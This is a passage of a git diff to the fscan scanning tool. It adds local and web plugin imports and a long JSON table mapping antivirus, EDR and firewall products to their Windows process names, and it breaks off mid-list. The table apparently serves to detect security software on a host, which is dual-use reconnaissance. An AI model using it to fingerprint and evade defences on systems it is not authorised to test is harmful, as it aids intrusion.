diff --git a/main.go b/main.go index cea5603..b42f712 100644 --- a/main.go +++ b/main.go @@ -8,8 +8,10 @@ import ( "github.com/shadow1ng/fscan/app" "github.com/shadow1ng/fscan/common" - // 导入服务插件 - _ "github.com/shadow1ng/fscan/plugins/services" + // 导入插件 + _ "github.com/shadow1ng/fscan/plugins/services" // 服务扫描插件 + _ "github.com/shadow1ng/fscan/plugins/web" // Web扫描插件 + _ "github.com/shadow1ng/fscan/plugins/local" // 本地扫描插件 ) func main() { diff --git a/plugins/local/auto.json b/plugins/local/auto.json new file mode 100644 index 0000000..bcab7f8 --- /dev/null +++ b/plugins/local/auto.json @@ -0,0 +1,2163 @@ +{ + "ALYac": { + "processes": [ + "aylaunch.exe", + "ayupdate2.exe", + "AYRTSrv.exe", + "AYAgent.exe" + ], + "url": "https://en.estsecurity.com/" + }, + "AVG": { + "processes": [ + "AVGSvc.exe", + "AVGUI.exe", + "avgwdsvc.exe", + "avg.exe", + "avgaurd.exe", + "avgemc.exe", + "avgrsx.exe", + "avgserv.exe", + "avgw.exe" + ], + "url": "https://www.avg.com/" + }, + "Acronis": { + "processes": [ + "arsm.exe", + "acronis_license_service.exe" + ], + "url": "https://www.acronis.com/" + }, + "Ad-Aware": { + "processes": [ + "AdAwareService.exe", + "Ad-Aware.exe", + "AdAware.exe" + ], + "url": "https://www.adaware.com/" + }, + "AhnLab-V3": { + "processes": [ + "patray.exe", + "V3Svc.exe" + ], + "url": "https://global.ahnlab.com/site/main.do" + }, + "Arcabit": { + "processes": [ + "arcavir.exe", + "arcadc.exe", + "ArcaVirMaster.exe", + "ArcaMainSV.exe", + "ArcaTasksService.exe" + ], + "url": "https://www.arcabit.pl" + }, + "Avast": { + "processes": [ + "ashDisp.exe", + "AvastUI.exe", + "AvastSvc.exe", + "AvastBrowser.exe", + "AfwServ.exe" + ], + "url": "https://www.avast.com" + }, + "Avira AntiVirus(小红伞)": { + "processes": [ + "avcenter.exe", + "avguard.exe", + "avgnt.exe", + "sched.exe" + ], + "url": "https://www.avira.com/" + }, + "Baidu AntiVirus": { + "processes": [ + "BaiduSdSvc.exe", + "BaiduSdTray.exe", + "BaiduSd.exe", + "bddownloader.exe", + "baiduansvx.exe" + ], + "url": "https://anquan.baidu.com/" + }, + "BitDefender": { + "processes": [ + "Bdagent.exe", + "BitDefenderCom.exe", + "vsserv.exe", + "bdredline.exe", + "secenter.exe", + "bdservicehost.exe", + "BITDEFENDER.exe" + ], + "url": "http://www.bitdefender.com/" + }, + "Bkav": { + "processes": [ + "BKavService.exe", + "Bka.exe", + "BkavUtil.exe", + "BLuPro.exe" + ], + "url": "https://www.bkav.com/" + }, + "CAT-QuickHeal": { + "processes": [ + "QUHLPSVC.exe", + "onlinent.exe", + "sapissvc.exe", + "scanwscs.exe" + ], + "url": "https://www.quickheal.com/" + }, + "CMC": { + "processes": [ + "CMCTrayIcon.exe" + ], + "url": "https://cmccybersecurity.com/" + }, + "ClamAV": { + "processes": [ + "freshclam.exe" + ], + "url": "https://www.clamav.net" + }, + "Comodo": { + "processes": [ + "cpf.exe", + "cavwp.exe", + "ccavsrv.exe", + "cmdvirth.exe" + ], + "url": "https://www.comodo.com" + }, + "CrowdStrike Falcon(猎鹰)": { + "processes": [ + "csfalconservice.exe", + "CSFalconContainer.exe" + ], + "url": "https://www.crowdstrike.com" + }, + "Cybereason": { + "processes": [ + "CybereasonRansomFree.exe", + "CybereasonRansomFreeServiceHost.exe", + "CybereasonAV.exe" + ], + "url": "https://www.cybereason.com/" + }, + "Cylance": { + "processes": [ + "CylanceSvc.exe" + ], + "url": "https://www.cylance.com" + }, + "Cyren": { + "processes": [ + "vsedsps.exe", + "vseamps.exe", + "vseqrts.exe" + ], + "url": "http://www.cyren.com/" + }, + "DrWeb": { + "processes": [ + "drwebcom.exe", + "spidernt.exe", + "drwebscd.exe", + "drweb32w.exe", + "dwengine.exes" + ], + "url": "https://www.drweb.com/" + }, + "Elastic Security": { + "processes": [ + "elastic-endpoint.exe", + "elastic-agent.exe", + "agentbeat.exe", + "winlogbeat.exe" + ], + "url": "https://www.elastic.co/endpoint-detection-response" + }, + "ESET-NOD32": { + "processes": [ + "egui.exe", + "ecls.exe", + "ekrn.exe", + "eguiProxy.exe", + "EShaSrv.exe" + ], + "url": "https://www.eset.com/us/home/antivirus/" + }, + "Trend Micro(趋势科技)": { + "processes": [ + "tmpfw.exe", + "tmlisten.exe", + "coreServiceShell.exe", + "coreFrameworkHost.exe", + "uiWatchDog.exe", + "TMLISTEN.exe" + ], + "url": "https://www.trendmicro.com" + }, + "Emsisoft": { + "processes": [ + "a2guard.exe", + "a2free.exe", + "a2service.exe" + ], + "url": "https://www.emsisoft.com/" + }, + "Endgame": { + "processes": [ + "endgame.exe" + ], + "url": "https://www.endgame.com/" + }, + "F-Prot": { + "processes": [ + "F-PROT.exe", + "FProtTray.exe", + "FPAVServer.exe", + "f-stopw.exe", + "f-prot95.exe", + "f-agnt95.exe" + ], + "url": "http://f-prot.com/" + }, + "F-Secure": { + "processes": [ + "f-secure.exe", + "fssm32.exe", + "Fsorsp64.exe", + "fsavgui.exe", + "fameh32.exe", + "fch32.exe", + "fih32.exe", + "fnrb32.exe", + "fsav32.exe", + "fsma32.exe", + "fsmb32.exe" + ], + "url": "https://www.f-secure.com" + }, + "FireEye(火眼)": { + "processes": [ + "xagtnotif.exe", + "xagt.exe" + ], + "url": "https://www.fireeye.com" + }, + "Trellix EDR(McAfee && 火眼)": { + "processes": [ + "macmnsvc.exe", + "macompatsvc.exe", + "masvc.exe", + "mcshield.exe", + "mctray.exe", + "mfeatp.exe", + "mfeensppl.exe", + "mfeesp.exe", + "mfefw.exe", + "mfehcs.exe", + "mfemactl.exe", + "mfemms.exe", + "mfetp.exe", + "mfevtps.exe", + "mfewch.exe", + "updaterui.exe" + ], + "url": "https://www.trellix.com" + }, + "Fortinet(飞塔)": { + "processes": [ + "FortiClient.exe", + "FortiTray.exe", + "FortiScand.exe", + "FortiWF.exe", + "FortiProxy.exe", + "FortiESNAC.exe", + "FortiSSLVPNdaemon.exe", + "FortiTcs.exe", + "FctSecSvr.exe" + ], + "url": "https://fortiguard.com/" + }, + "GData": { + "processes": [ + "AVK.exe", + "avkcl.exe", + "avkpop.exe", + "avkservice.exe", + "GDScan.exe", + "AVKWCtl.exe", + "AVKProxy.exe", + "AVKBackupService.exe" + ], + "url": "https://www.gdatasoftware.com/" + }, + "Ikarus": { + "processes": [ + "guardxservice.exe", + "guardxkickoff.exe" + ], + "url": "https://www.ikarussecurity.com/" + }, + "Jiangmin": { + "processes": [ + "KVFW.exe", + "KVsrvXP.exe", + "KVMonXP.exe", + "KVwsc.exe" + ], + "url": "https://www.jiangmin.com/" + }, + "K7AntiVirus": { + "processes": [ + "K7TSecurity.exe", + "K7TSMain.Exe", + "K7TSUpdT.exe" + ], + "url": "http://viruslab.k7computing.com/" + }, + "Kaspersky(卡巴斯基)": { + "processes": [ + "avp.exe", + "avpcc.exe", + "avpm.exe", + "kavpf.exe", + "kavfs.exe", + "klnagent.exe", + "kavtray.exe", + "kavfswp.exe", + "kaspersky.exe" + ], + "url": "https://www.kaspersky.com" + }, + "Max Secure Software": { + "processes": [ + "SDSystemTray.exe", + "MaxRCSystemTray.exe", + "RCSystemTray.exe", + "MaxAVPlusDM.exe", + "LiveUpdateSD.exe" + ], + "url": "https://www.maxpcsecure.com/" + }, + "Malwarebytes": { + "processes": [ + "MBAMService.exe", + "mbam.exe", + "mbamtray.exe" + ], + "url": "https://www.malwarebytes.com/" + }, + "McAfee(迈克菲-可能为Trellix)": { + "processes": [ + "Mcshield.exe", + "Tbmon.exe", + "Frameworkservice.exe", + "firesvc.exe", + "firetray.exe", + "hipsvc.exe", + "mfevtps.exe", + "mcafeefire.exe", + "shstat.exe", + "vstskmgr.exe", + "engineserver.exe", + "alogserv.exe", + "avconsol.exe", + "cmgrdian.exe", + "cpd.exe", + "mcmnhdlr.exe", + "mcvsshld.exe", + "mcvsrte.exe", + "mghtml.exe", + "mpfservice.exe", + "mpfagent.exe", + "mpftray.exe", + "vshwin32.exe", + "vsstat.exe", + "guarddog.exe", + "mfeann.exe", + "udaterui.exe", + "naprdmgr.exe", + "mctray.exe", + "fcagate.exe", + "fcag.exe", + "fcags.exe", + "fcagswd.exe", + "macompatsvc.exe", + "masvc.exe", + "mcamnsvc.exe", + "mctary.exe", + "mfecanary.exe", + "mfeconsole.exe", + "mfeesp.exe", + "mfefire.exe", + "mfefw.exe", + "mfemms.exe", + "mfetp.exe", + "mfewc.exe", + "mfewch.exe" + ], + "url": "https://www.mcafee.com/en-us" + }, + "Microsoft Security Essentials": { + "processes": [ + "MsMpEng.exe", + "msseces.exe", + "mssecess.exe", + "emet_agent.exe", + "emet_service.exe", + "drwatson.exe", + "MpCmdRun.exe", + "NisSrv.exe", + "MsSense.exe", + "MSASCui.exe", + "MSASCuiL.exe", + "SecurityHealthService.exe" + ], + "url": "https://support.microsoft.com/en-us/help/17150/windows-7-what-is-microsoft-security-essentials" + }, + "NANO-Antivirus": { + "processes": [ + "nanoav.exe", + "nanoav64.exe", + "nanoreport.exe", + "nanoreportc.exe", + "nanoreportc64.exe", + "nanorst.exe", + "nanosvc.exe" + ], + "url": "https://nano-av.com/" + }, + "Palo Alto Networks": { + "processes": [ + "PanInstaller.exe" + ], + "url": "https://www.paloaltonetworks.com/" + }, + "Panda Security": { + "processes": [ + "remupd.exe", + "apvxdwin.exe", + "pavproxy.exe", + "pavsched.exe" + ], + "url": "https://www.pandasecurity.com/" + }, + "Qihoo-360": { + "processes": [ + "360sd.exe", + "360tray.exe", + "ZhuDongFangYu.exe", + "360rp.exe", + "360rps.exe", + "360safe.exe", + "360safebox.exe", + "QHActiveDefense.exe", + "360skylarsvc.exe", + "LiveUpdate360.exe" + ], + "url": "https://sd.360.cn/" + }, + "Rising": { + "processes": [ + "RavMonD.exe", + "rfwmain.exe", + "RsMgrSvc.exe", + "RavMon.exe" + ], + "url": "http://antivirus.rising.com.cn/" + }, + "SUPERAntiSpyware": { + "processes": [ + "superantispyware.exe", + "sascore.exe", + "SAdBlock.exe", + "sabsvc.exe" + ], + "url": "http://www.superadblocker.com/" + }, + "SecureAge APEX": { + "processes": [ + "UniversalAVService.exe", + "EverythingServer.exe", + "clamd.exe" + ], + "url": "https://www.secureage.com/" + }, + "Sophos AV": { + "processes": [ + "SavProgress.exe", + "icmon.exe", + "SavMain.exe", + "SophosUI.exe", + "SophosFS.exe", + "SophosHealth.exe", + "SophosSafestore64.exe", + "SophosCleanM.exe", + "SophosFileScanner.exe", + "SophosNtpService.exe", + "SophosOsquery.exe", + "Sophos UI.exe" + ], + "url": "https://www.sophos.com/" + }, + "TACHYON": { + "processes": [], + "url": "https://www.tachyonlab.com/en/index.html" + }, + "Tencent": { + "processes": [ + "QQPCRTP.exe", + "QQPCTray.exe", + "QQPCMgr.exe", + "QQPCNetFlow.exe", + "QQPCRealTimeSpeedup.exe" + ], + "url": "https://guanjia.qq.com" + }, + "TotalDefense": { + "processes": [ + "AMRT.exe", + "SWatcherSrv.exe", + "Prd.ManagementConsole.exe" + ], + "url": "https://www.totaldefense.com" + }, + "Trapmine": { + "processes": [ + "TrapmineEnterpriseService.exe", + "TrapmineEnterpriseConfig.exe", + "TrapmineDeployer.exe", + "TrapmineUpgradeService.exe" + ], + "url": "https://trapmine.com/" + }, + "TrendMicro": { + "processes": [ + "TMBMSRV.exe", + "ntrtscan.exe", + "Pop3Trap.exe", + "WebTrap.exe", + "PccNTMon.exe" + ], + "url": "http://careers.trendmicro.com.cn/" + }, + "VIPRE": { + "processes": [ + "SBAMSvc.exe", + "VipreEdgeProtection.exe", + "SBAMTray.exe" + ], + "url": "https://www.vipre.com" + }, + "ViRobot": { + "processes": [ + "vrmonnt.exe", + "vrmonsvc.exe", + "Vrproxyd.exe" + ], + "url": "http://www.hauri.net/" + }, + "Webroot": { + "processes": [ + "npwebroot.exe", + "WRSA.exe", + "spysweeperui.exe" + ], + "url": "https://www.webroot.com/us/en" + }, + "Yandex": { + "processes": [ + "Yandex.exe", + "YandexDisk.exe", + "yandesk.exe" + ], + "url": "https://yandex.com/support/common/security/antiviruses-free.html" + }, + "Zillya": { + "processes": [ + "zillya.exe", + "ZAVAux.exe", + "ZAVCore.exe" + ], + "url": "https://zillya.com" + }, + "ZoneAlarm": { + "processes": [ + "vsmon.exe", + "zapro.exe", + "zonealarm.exe" + ], + "url": "https://www.zonealarm.com/" + }, + "Zoner": { + "processes": [ + "ZPSTray.exe" + ], + "url": "https://zonerantivirus.com/" + }, + "eGambit": { + "processes": [ + "dasc.exe", + "memscan64.exe", + "dastray.exe" + ], + "url": "https://egambit.app/en/" + }, + "eScan": { + "processes": [ + "consctl.exe", + "mwaser.exe", + "avpmapp.exe" + ], + "url": "https://www.escanav.com/" + }, + "Lavasoft": { + "processes": [ + "AAWTray.exe", + "LavasoftTcpService.exe", + "AdAwareTray.exe", + "WebCompanion.exe", + "WebCompanionInstaller.exe", + "adawarebp.exe", + "ad-watch.exe" + ], + "url": "https://www.lavasoft.com/" + }, + "The Cleaner": { + "processes": [ + "cleaner8.exe" + ], + "url": "" + }, + "VBA32": { + "processes": [ + "vba32lder.exe" + ], + "url": "http://www.anti-virus.by/en/index.shtml" + }, + "Mongoosa": { + "processes": [ + "MongoosaGUI.exe", + "mongoose.exe" + ], + "url": "https://www.securitymongoose.com/" + }, + "Coranti2012": { + "processes": [ + "CorantiControlCenter32.exe" + ], + "url": "https://www.coranti.com" + }, + "UnThreat": { + "processes": [ + "UnThreat.exe", + "utsvc.exe" + ], + "url": "https://softplanet.com/UnThreat-AntiVirus" + }, + "Shield Antivirus": { + "processes": [ + "CKSoftShiedAntivirus4.exe", + "shieldtray.exe" + ], + "url": "https://shieldapps.com/supportmain/shield-antivirus-support/" + }, + "VIRUSfighter": { + "processes": [ + "AVWatchService.exe", + "vfproTray.exe" + ], + "url": "https://www.spamfighter.com/VIRUSfighter/" + }, + "Immunet": { + "processes": [ + "iptray.exe" + ], + "url": "https://www.immunet.com/index" + }, + "PSafe": { + "processes": [ + "PSafeSysTray.exe", + "PSafeCategoryFinder.exe", + "psafesvc.exe" + ], + "url": "https://www.psafe.com/" + }, + "nProtect": { + "processes": [ + "nspupsvc.exe", + "Npkcmsvc.exe", + "npnj5Agent.exe" + ], + "url": "http://nos.nprotect.com/" + }, + "Spyware Terminator": { + "processes": [ + "SpywareTerminatorShield.exe", + "SpywareTerminator.exe" + ], + "url": "http://www.spywareterminator.com/Default.aspx" + }, + "Norton(赛门铁克)": { + "processes": [ + "ccSvcHst.exe", + "rtvscan.exe", + "ccapp.exe", + "NPFMntor.exe", + "ccRegVfy.exe", + "vptray.exe", + "iamapp.exe", + "nav.exe", + "navapw32.exe", + "navapsvc.exe", + "nisum.exe", + "nmain.exe", + "nprotect.exe", + "smcGui.exe", + "ns.exe", + "nortonsecurity.exe" + ], + "url": "https://us.norton.com/" + }, + "Norton V25(Avast)": { + "processes": [ + "afwServ.exe", + "aswEngSrv.exe", + "aswidsagent.exe", + "AvDump.exe", + "nllToolsSvc.exe", + "NortonSvc.exe", + "wsc_proxy.exe" + ], + "url": "https://us.norton.com/" + }, + "Symantec(赛门铁克)": { + "processes": [ + "ccSetMgr.exe", + "ccapp.exe", + "vptray.exe", + "ccpxysvc.exe", + "cfgwiz.exe", + "smc.exe", + "symproxysvc.exe", + "vpc32.exe", + "lsetup.exe", + "luall.exe", + "lucomserver.exe", + "sbserv.exe", + "ccEvtMgr.exe", + "smcGui.exe", + "snac.exe", + "SymCorpUI.exe", + "sepWscSvc64.exe" + ], + "url": "http://www.symantec.com/" + }, + "可牛杀毒": { + "processes": [ + "knsdtray.exe" + ], + "url": "https://baike.baidu.com/item/%E5%8F%AF%E7%89%9B%E5%85%8D%E8%B4%B9%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6" + }, + "流量矿石": { + "processes": [ + "Miner.exe" + ], + "url": "https://jiaoyi.yunfan.com/" + }, + "SafeDog(安全狗)": { + "processes": [ + "safedog.exe", + "SafeDogGuardCenter.exe", + "SafeDogSiteIIS.exe", + "SafeDogTray.exe", + "SafeDogServerUI.exe", + "SafeDogSiteApache.exe", + "CloudHelper.exe", + "SafeDogUpdateCenter.exe" + ], + "url": "http://www.safedog.cn/" + }, + "木马克星": { + "processes": [ + "parmor.exe", + "Iparmor.exe" + ], + "url": "https://baike.baidu.com/item/%E6%9C%A8%E9%A9%AC%E5%85%8B%E6%98%9F/2979824?fr=aladdin" + }, + "贝壳云安全": { + "processes": [ + "beikesan.exe" + ], + "url": "" + }, + "木马猎手": { + "processes": [ + "TrojanHunter.exe" + ], + "url": "" + }, + "巨盾网游安全盾": { + "processes": [ + "GG.exe" + ], + "url": "" + }, + "绿鹰安全精灵": { + "processes": [ + "adam.exe" + ], + "url": "https://baike.baidu.com/item/%E7%BB%BF%E9%B9%B0%E5%AE%89%E5%85%A8%E7%B2%BE%E7%81%B5" + }, + "超级巡警": { + "processes": [ + "AST.exe" + ], + "url": "" + }, + "墨者安全专家": { + "processes": [ + "ananwidget.exe" + ], + "url": "" + }, + "风云防火墙": { + "processes": [ + "FYFireWall.exe" + ], + "url": "" + }, + "微点主动防御": { + "processes": [ + "MPMon.exe" + ], + "url": "http://www.micropoint.com.cn/" + }, + "天网防火墙": { + "processes": [ + "pfw.exe" + ], + "url": "" + }, + "D 盾": { + "processes": [ + "D_Safe_Manage.exe", + "d_manage.exe" + ], + "url": "http://www.d99net.net/" + }, + "云锁": { + "processes": [ + "yunsuo_agent_service.exe", + "yunsuo_agent_daemon.exe" + ], + "url": "https://www.yunsuo.com.cn/" + }, + "护卫神": { + "processes": [ + "HwsPanel.exe", + "hws_ui.exe", + "hws.exe", + "hwsd.exe", + "HwsHostPanel.exe", + "HwsHostMaster.exe" + ], + "url": "https://www.hws.com/" + }, + "火绒安全": { + "processes": [ + "hipstray.exe", + "wsctrl.exe", + "usysdiag.exe", + "HipsDaemon.exe", + "HipsLog.exe", + "HipsMain.exe", + "wsctrlsvc.exe" + ], + "url": "https://www.huorong.cn/" + }, + "网络病毒克星": { + "processes": [ + "WEBSCANX.exe" + ], + "url": "" + }, + "SPHINX防火墙": { + "processes": [ + "SPHINX.exe" + ], + "url": "" + }, + "奇安信天擎": { + "processes": [ + "TQClient.exe", + "TQTray.exe", + "QaxEngManager.exe", + "TQDefender.exe" + ], + "url": "https://www.qianxin.com/product/detail/pid/330" + }, + "H+BEDV Datentechnik GmbH": { + "processes": [ + "avwin.exe", + "avwupsrv.exe" + ], + "url": "http://www.free-av.com/" + }, + "IBM ISS Proventia": { + "processes": [ + "blackd.exe", + "rapapp.exe" + ], + "url": "" + }, + "eEye Digital Security": { + "processes": [ + "eeyeevnt.exe", + "blink.exe" + ], + "url": "" + }, + "TamoSoft": { + "processes": [ + "cv.exe", + "ent.exe" + ], + "url": "https://www.tamos.com/" + }, + "Kerio Personal Firewall": { + "processes": [ + "persfw.exe", + "wrctrl.exe" + ], + "url": "http://www.kerio.com/" + }, + "Simplysup": { + "processes": [ + "Trjscan.exe" + ], + "url": "https://www.simplysup.com/" + }, + "PC Tools AntiVirus": { + "processes": [ + "PCTAV.exe", + "pctsGui.exe" + ], + "url": "http://www.pctools.com" + }, + "VirusBuster Professional": { + "processes": [ + "vbcmserv.exe" + ], + "url": "http://www.virusbuster.hu" + }, + "ClamWin": { + "processes": [ + "ClamTray.exe", + "clamscan.exe" + ], + "url": "http://www.clamwin.com/" + }, + "安天智甲": { + "processes": [ + "kxetray.exe", + "kscan.exe", + "AMediumManager.exe", + "kismain.exe" + ], + "url": "https://antiy.cn/" + }, + "CMC Endpoint Security": { + "processes": [ + "CMCNECore.exe", + "cmcepagent.exe", + "cmccore.exe", + "CMCLog.exe", + "CMCFMon.exe" + ], + "url": "https://cmccybersecurity.com/giai-phap/" + }, + "金山毒霸": { + "processes": [ + "kxetray.exe", + "kxescore.exe", + "kupdata.exe", + "kwsprotect64.exe", + "kislive.exe", + "knewvip.exe", + "kscan.exe", + "kxecenter.exe", + "kxemain.exe", + "KWatch.exe", + "KSafeSvc.exe", + "KSafeTray.exe" + ], + "url": "http://www.ijinshan.com/" + }, + "Agnitum outpost (Outpost Firewall)": { + "processes": [ + "outpost.exe", + "acs.exe" + ], + "url": "https://agnitum-outpost-security-suite.en.softonic.com/" + }, + "Cynet": { + "processes": [ + "CynetLauncher.exe", + "CynetDS.exe", + "CynetEPS.exe", + "CynetMS.exe", + "CynetAR.exe", + "CynetGW.exe", + "CynetSD64.exe" + ], + "url": "https://www.cynet.com/" + }, + "金山网盾": { + "processes": [ + "KSWebShield.exe" + ], + "url": "" + }, + "G Data安全软件客户端": { + "processes": [ + "AVK.exe" + ], + "url": "" + }, + "金山网镖": { + "processes": [ + "kpfwtray.exe" + ], + "url": "" + }, + "在扫1433": { + "processes": [ + "1433.exe" + ], + "url": "" + }, + "在爆破": { + "processes": [ + "DUB.exe" + ], + "url": "" + }, + "发现S-U": { + "processes": [ + "ServUDaemon.exe" + ], + "url": "" + }, + "百度卫士": { + "processes": [ + "bddownloader.exe", + "baiduSafeTray.exe" + ], + "url": "" + }, + "百度卫士-主进程": { + "processes": [ + "baiduansvx.exe" + ], + "url": "" + }, + "已知杀软进程,名称暂未收录": { + "processes": [ + "scan32.exe", + "mcscript.exe", + "cleanup.exe", + "cmdagent.exe", + "frminst.exe", + "mcscript_inuse.exe", + "_avp32.exe", + "_avpcc.exe", + "_avpm.exe", + "aAvgApi.exe", + "ackwin32.exe", + "advxdwin.exe", + "agentsvr.exe", + "agentw.exe", + "alertsvc.exe", + "alevir.exe", + "amon9x.exe", + "anti-trojan.exe", + "antivirus.exe", + "ants.exe", + "apimonitor.exe", + "aplica32.exe", + "arr.exe", + "atcon.exe", + "atguard.exe", + "atro55en.exe", + "atupdater.exe", + "atwatch.exe", + "au.exe", + "aupdate.exe", + "auto-protect.nav80try.exe", + "autodown.exe", + "autotrace.exe", + "autoupdate.exe", + "ave32.exe", + "avgcc32.exe", + "avgctrl.exe", + "avgserv9.exe", + "avkpop.exe", + "avkserv.exe", + "avkservice.exe", + "avltmain.exe", + "avnt.exe", + "avp32.exe", + "avpdos32.exe", + "avptc32.exe", + "avpupd.exe", + "avsched32.exe", + "avsynmgr.exe", + "avwin95.exe", + "avwinnt.exe", + "avwupd.exe", + "avwupd32.exe", + "avxmonitor9x.exe", + "avxmonitornt.exe", + "avxquar.exe", + "backweb.exe", + "bargains.exe", + "bd_professional.exe", + "beagle.exe", + "belt.exe", + "bidef.exe", + "bidserver.exe", + "bipcp.exe", + "bipcpevalsetup.exe", + "bisp.exe", + "blackice.exe", + "blss.exe", + "bootconf.exe", + "bootwarn.exe", + "borg2.exe", + "bpc.exe", + "brasil.exe", + "bs120.exe", + "bundle.exe", + "bvt.exe", + "cdp.exe", + "cfd.exe", + "cfiadmin.exe", + "cfiaudit.exe", + "cfinet.exe", + "cfinet32.exe", + "claw95.exe", + "claw95cf.exe", + "clean.exe", + "cleaner.exe", + "cleaner3.exe", + "cleanpc.exe", + "click.exe", + "cmesys.exe", + "cmon016.exe", + "connectionmonitor.exe", + "cpf9x206.exe", + "cpfnt206.exe", + "ctrl.exe", + "cwnb181.exe", + "cwntdwmo.exe", + "datemanager.exe", + "dcomx.exe", + "defalert.exe", + "defscangui.exe", + "defwatch.exe", + "deputy.exe", + "divx.exe", + "dllcache.exe", + "dllreg.exe", + "doors.exe", + "dpf.exe", + "dpfsetup.exe", + "dpps2.exe", + "drweb32.exe", + "drwebupw.exe", + "dssagent.exe", + "dvp95.exe", + "dvp95_0.exe", + "ecengine.exe", + "efpeadm.exe", + "emsw.exe", + "ent.exe", + "esafe.exe", + "escanhnt.exe", + "escanv95.exe", + "espwatch.exe", + "ethereal.exe", + "etrustcipe.exe", + "evpn.exe", + "exantivirus-cnet.exe", + "exe.avxw.exe", + "expert.exe", + "explore.exe", + "fast.exe", + "findviru.exe", + "firewall.exe", + "fp-win.exe", + "fp-win_trial.exe", + "fprot.exe", + "frw.exe", + "fsaa.exe", + "fsav.exe", + "fsav530stbyb.exe", + "fsav530wtbyb.exe", + "fsav95.exe", + "fsgk32.exe", + "fsm32.exe", + "gator.exe", + "gbmenu.exe", + "gbpoll.exe", + "generics.exe", + "gmt.exe", + "guard.exe", + "hacktracersetup.exe", + "hbinst.exe", + "hbsrv.exe", + "hotactio.exe", + "hotpatch.exe", + "htlog.exe", + "htpatch.exe", + "hwpe.exe", + "hxdl.exe", + "hxiul.exe", + "iamserv.exe", + "iamstats.exe", + "ibmasn.exe", + "ibmavsp.exe", + "icload95.exe", + "icloadnt.exe", + "icmon.exe", + "icsupp95.exe", + "icsuppnt.exe", + "idle.exe", + "iedll.exe", + "iedriver.exe", + "iface.exe", + "ifw2000.exe", + "inetlnfo.exe", + "infus.exe", + "infwin.exe", + "init.exe", + "intdel.exe", + "intren.exe", + "iomon98.exe", + "istsvc.exe", + "jammer.exe", + "jdbgmrg.exe", + "jedi.exe", + "kavlite40eng.exe", + "kavpers40eng.exe", + "kazza.exe", + "keenvalue.exe", + "kerio-pf-213-en-win.exe", + "kerio-wrl-421-en-win.exe", + "kerio-wrp-421-en-win.exe", + "kernel32.exe", + "killprocesssetup161.exe", + "launcher.exe", + "ldnetmon.exe", + "ldpro.exe", + "ldpromenu.exe", + "ldscan.exe", + "lnetinfo.exe", + "loader.exe", + "localnet.exe", + "lockdown.exe", + "lockdown2000.exe", + "lookout.exe", + "lordpe.exe", + "luau.exe", + "luinit.exe", + "luspt.exe", + "mapisvc32.exe", + "mcagent.exe", + "mctool.exe", + "mcupdate.exe", + "mfin32.exe", + "mfw2en.exe", + "mfweng3.02d30.exe", + "mgavrtcl.exe", + "mgavrte.exe", + "mgui.exe", + "minilog.exe", + "mmod.exe", + "monitor.exe", + "moolive.exe", + "mostat.exe", + "mrflux.exe", + "msapp.exe", + "msbb.exe", + "msblast.exe", + "mscache.exe", + "msccn32.exe", + "mscman.exe", + "msconfig.exe", + "msdm.exe", + "msdos.exe", + "msiexec16.exe", + "msinfo32.exe", + "mslaugh.exe", + "msmgt.exe", + "msmsgri32.exe", + "mssmmc32.exe", + "mssys.exe", + "msvxd.exe", + "mu0311ad.exe", + "mwatch.exe", + "n32scanw.exe", + "navap.navapsvc.exe", + "navdx.exe", + "navlu32.exe", + "navnt.exe", + "navstub.exe", + "navw32.exe", + "navwnt.exe", + "nc2000.exe", + "ncinst4.exe", + "ndd32.exe", + "neomonitor.exe", + "neowatchlog.exe", + "netarmor.exe", + "netd32.exe", + "netinfo.exe", + "netmon.exe", + "netscanpro.exe", + "netspyhunter-1.2.exe", + "netstat.exe", + "netutils.exe", + "nisserv.exe", + "nod32.exe", + "normist.exe", + "norton_internet_secu_3.0_407.exe", + "notstart.exe", + "npf40_tw_98_nt_me_2k.exe", + "npfmessenger.exe", + "npscheck.exe", + "npssvc.exe", + "nsched32.exe", + "nssys32.exe", + "nstask32.exe", + "nsupdate.exe", + "nt.exe", + "ntvdm.exe", + "ntxconfig.exe", + "nui.exe", + "nupgrade.exe", + "nvarch16.exe", + "nvc95.exe", + "nvsvc32.exe", + "nwinst4.exe", + "nwservice.exe", + "nwtool16.exe", + "ollydbg.exe", + "onsrvr.exe", + "optimize.exe", + "ostronet.exe", + "otfix.exe", + "outpostinstall.exe", + "outpostproinstall.exe", + "padmin.exe", + "panixk.exe", + "patch.exe", + "pavcl.exe", + "pavw.exe", + "pccwin98.exe", + "pcfwallicon.exe", + "pcip10117_0.exe", + "pcscan.exe", + "pdsetup.exe", + "periscope.exe", + "perswf.exe", + "pf2.exe", + "pfwadmin.exe", + "pgmonitr.exe", + "pingscan.exe", + "platin.exe", + "poproxy.exe", + "popscan.exe", + "portdetective.exe", + "portmonitor.exe", + "powerscan.exe", + "ppinupdt.exe", + "pptbc.exe", + "ppvstop.exe", + "prizesurfer.exe", + "prmt.exe", + "prmvr.exe", + "procdump.exe", + "processmonitor.exe", + "procexplorerv1.0.exe", + "programauditor.exe", + "proport.exe", + "protectx.exe", + "pspf.exe", + "purge.exe", + "qconsole.exe", + "qserver.exe", + "rav7.exe", + "rav7win.exe", + "rav8win32eng.exe", + "ray.exe", + "rb32.exe", + "rcsync.exe", + "realmon.exe", + "reged.exe", + "regedit.exe", + "regedt32.exe", + "rescue.exe", + "rescue32.exe", + "rrguard.exe", + "rshell.exe", + "rtvscn95.exe", + "rulaunch.exe", + "run32dll.exe", + "rundll.exe", + "rundll16.exe", + "ruxdll32.exe", + "safeweb.exe", + "sahagent.exe", + "save.exe", + "savenow.exe", + "sc.exe", + "scam32.exe", + "scan95.exe", + "scanpm.exe", + "scrscan.exe", + "serv95.exe", + "setup_flowprotector_us.exe", + "setupvameeval.exe", + "sfc.exe", + "sgssfw32.exe", + "sh.exe", + "shellspyinstall.exe", + "shn.exe", + "showbehind.exe", + "sms.exe", + "smss32.exe", + "soap.exe", + "sofi.exe", + "sperm.exe", + "spf.exe", + "spoler.exe", + "spoolcv.exe", + "spoolsv32.exe", + "spyxx.exe", + "srexe.exe", + "srng.exe", + "ss3edit.exe", + "ssg_4104.exe", + "ssgrate.exe", + "st2.exe", + "start.exe", + "stcloader.exe", + "supftrl.exe", + "support.exe", + "supporter5.exe", + "svchostc.exe", + "svchosts.exe", + "sweep95.exe", + "sweepnet.sweepsrv.sys.swnetsup.exe", + "symtray.exe", + "sysedit.exe", + "sysupd.exe", + "taskmg.exe", + "taskmo.exe", + "taumon.exe", + "tbscan.exe", + "tc.exe", + "tca.exe", + "tcm.exe", + "tds-3.exe", + "tds2-98.exe", + "tds2-nt.exe", + "teekids.exe", + "tfak.exe", + 